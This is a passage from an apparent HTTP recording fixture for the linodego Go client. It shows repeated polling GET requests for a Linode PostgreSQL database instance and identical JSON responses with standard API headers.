"secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, 